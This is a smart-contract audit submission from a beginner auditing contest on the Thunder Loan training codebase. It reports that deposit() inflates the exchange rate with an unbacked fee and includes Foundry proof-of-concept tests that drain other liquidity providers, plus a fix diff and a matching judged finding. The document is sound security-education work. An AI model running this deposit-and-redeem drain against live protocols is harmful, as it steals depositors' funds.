Thunder Loan
AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

# H-1: `deposit()` Inflates the Exchange Rate With an Unbacked Fee, Letting Depositors Drain Other LPs

rubabbel

Root + Impact

deposit() raises the exchange rate by getCalculatedFee(token, amount) — a "fee" that is never transferred into the AssetToken. Only the deposit principal (amount) is pulled in (ThunderLoan.sol:155). This credits every existing share with value that has no backing, so an attacker can deposit, let the rate rise on unbacked value, then redeem above cost, leaving the pool undercollateralised for everyone else.

Description

On deposit the protocol mints shares at the current rate (:150-152), then calls assetToken.updateExchangeRate(calculatedFee) (:154) where calculatedFee = getCalculatedFee(token, amount). updateExchangeRate multiplies the rate up by fee (AssetToken.sol:89-94), treating the fee as if it had been added to the pool. It was not — the only tokens that entered are amount. The rate is therefore credited with phantom backing, and because the rate only increases (AssetToken.sol:91-93), the distortion is permanent. Redeem (:161-178) pays out shares * exchangeRate / 1e18, so a depositor can withdraw more than they deposited while the last holders cannot be made whole.

// src/protocol/ThunderLoan.sol:147-156
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
@> uint256 calculatedFee = getCalculatedFee(token, amount);
@> assetToken.updateExchangeRate(calculatedFee); // rate rises with a fee that was never paid
@> token.safeTransferFrom(msg.sender, address(assetToken), amount); // only `amount` enters
}

Risk

Likelihood: Any liquidity provider (or attacker) calls deposit, then redeem, repeatedly. Requires only that the pool already holds liquidity from other LPs. No oracle manipulation, token hook, or role needed.

Impact: Attacker profits at the expense of other LPs. In the PoC the attacker nets ~297.9e18 while the victim's nominal claim (1,005.9e18) exceeds the pool's real backing (702.1e18). Repeated, this is a bank-run: early redeemers are overpaid, late redeemers are insolvent. ThunderLoan / LP funds are permanently lost.

Proof of Concept

A victim deposits 1,000e18, then the attacker deposits 100,000e18 and immediately redeems all shares. Because the deposit bumped the rate on unbacked value, the attacker's redemption returns more than they deposited; the pool's remaining balance no longer covers the victim's nominal claim. The two assertions prove both halves: the attacker profits, and the pool is no longer fully backed.

// test/poc/Exploits.t.sol
function testExploit_DepositRateInflation_StealsFromLP() public {
uint256 V = 1_000e18;
token.mint(victim, V);
vm.startPrank(victim);
token.approve(address(loan), V);
loan.deposit(IERC20(address(token)), V);
vm.stopPrank();
​
uint256 A = 100_000e18;
token.mint(attacker, A);
uint256 attackerBefore = token.balanceOf(attacker);
​
vm.startPrank(attacker);
token.approve(address(loan), A);
loan.deposit(IERC20(address(token)), A);
loan.redeem(IERC20(address(token)), type(uint256).max);
vm.stopPrank();
​
uint256 profit = token.balanceOf(attacker) - attackerBefore;
AssetToken at = loan.getAssetFromToken(IERC20(address(token)));
uint256 poolAssets = token.balanceOf(address(at));
uint256 victimClaim = (at.balanceOf(victim) * at.getExchangeRate()) / at.EXCHANGE_RATE_PRECISION();
​
assertGt(profit, 0, "BUG PROOF: attacker profits from unbacked rate inflation");
assertGt(victimClaim, poolAssets, "BUG PROOF: pool no longer backs all claims");
}

Recommended Mitigation

Remove the rate update from deposit; interest must be accrued only from fees that are actually collected by a flash loan. This makes every rate increase correspond to a real token inflow, restoring totalSupply * rate <= balance.

// ThunderLoan.sol — deposit()
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
- uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!